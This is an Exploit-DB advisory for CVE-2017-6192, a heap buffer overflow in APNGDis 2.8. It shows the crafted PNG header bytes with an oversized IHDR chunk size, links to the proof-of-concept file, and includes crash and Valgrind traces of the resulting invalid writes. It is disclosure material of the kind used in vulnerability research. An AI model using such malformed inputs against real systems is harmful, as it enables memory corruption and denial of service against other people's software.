APNGDis 2.8 - 'chunk size descriptor' Heap Buffer Overflow

EDB-ID:

41668


Platform:

Multiple

Published:

2017-03-14

# Exploit Title: APNGDis chunk size descriptor Buffer Overflow
# Date: 14-03-2017
# Exploit Author: Alwin Peppels
# Vendor Homepage: http://apngdis.sourceforge.net/
# Software Link: https://sourceforge.net/projects/apngdis/files/2.8/
# Version: 2.8
# Tested on: Linux Debian / Windows 7
# CVE : CVE-2017-6192


Additional analysis:
https://www.onvio.nl/nieuws/cve-2017-6192

POC:

https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/41668.png

The PoC contains an IHDR chunk size descriptor of 0xFFFFFFF4

 ‰  P  N  G  .  .  .  .  ÿ  ÿ  ÿ  ô  I  H  D  R
89 50 4E 47 0D 0A 1A 0A FF FF FF F4 49 48 44 52 
                         ^  ^  ^  ^ 

Bash:

Reading '../ihdr_chunk_size_poc.png'...
*** Error in `./apngdis': free(): invalid next size (fast): 0x00005556a08d2270 ***
======= Backtrace: =========
/lib/x86_64-linux-gnu/libc.so.6(+0x70bcb)[0x7f932b0adbcb]
/lib/x86_64-linux-gnu/libc.so.6(+0x76f96)[0x7f932b0b3f96]
/lib/x86_64-linux-gnu/libc.so.6(+0x7778e)[0x7f932b0b478e]
./apngdis(+0x2e2f)[0x55569f636e2f]
./apngdis(+0x324f)[0x55569f63724f]
/lib/x86_64-linux-gnu/libc.so.6(__libc_start_main+0xf1)[0x7f932b05d2b1]
./apngdis(+0x16ca)[0x55569f6356ca]


Valgrind:

Reading '../ihdr_chunk_size_poc.png'...
==10383== Invalid write of size 4
==10383==    at 0x10B502: read_chunk(_IO_FILE*, CHUNK*) (apngdis.cpp:113)
==10383==    by 0x109F96: load_apng(char*, std::vector<APNGFrame, std::allocator<APNGFrame> >&) (apngdis.cpp:206)
==10383==    by 0x10B24E: main (apngdis.cpp:498)
==10383==  Address 0x5ed3370 is 0 bytes after a block of size 0 alloc'd
==10383==    at 0x4C2C93F: operator new[](unsigned long) (vg_replace_malloc.c:423)
==10383==    by 0x10B4ED: read_chunk(_IO_FILE*, CHUNK*) (apngdis.cpp:112)
==10383==    by 0x109F96: load_apng(char*, std::vector<APNGFrame, std::allocator<APNGFrame> >&) (apngdis.cpp:206)
==10383==    by 0x10B24E: main (apngdis.cpp:498)
==10383== 
==10383== Invalid write of size 1
==10383==    at 0x4C330AD: __GI_mempcpy (vg_replace_strmem.c:1518)
==10383==    by 0x5B94B0D: _IO_file_xsgetn (fileops.c:1400)
==10383==    by 0x5B89AA8: fread (iofread.c:38)
==10383==    by 0x10B52B: read_chunk(_IO_FILE*, CHUNK*) (apngdis.cpp:114)
==10383==    by 0x109F96: load_apng(char*, std::vector<APNGFrame, std::allocator<APNGFrame> >&) (apngdis.cpp:206)
==10383==    by 0x10B24E: main (apngdis.cpp:498)
==10383==  Address 0x5ed338c is 28 bytes after a block of size 0 in arena "client"
==10383== 

valgrind: m_mallocfree.c:303 (get_bszB_as_is): Assertion 'bszB_lo == bszB_hi' failed.
valgrind: Heap block lo/hi size mismatch: lo = 64, hi = 90194313415.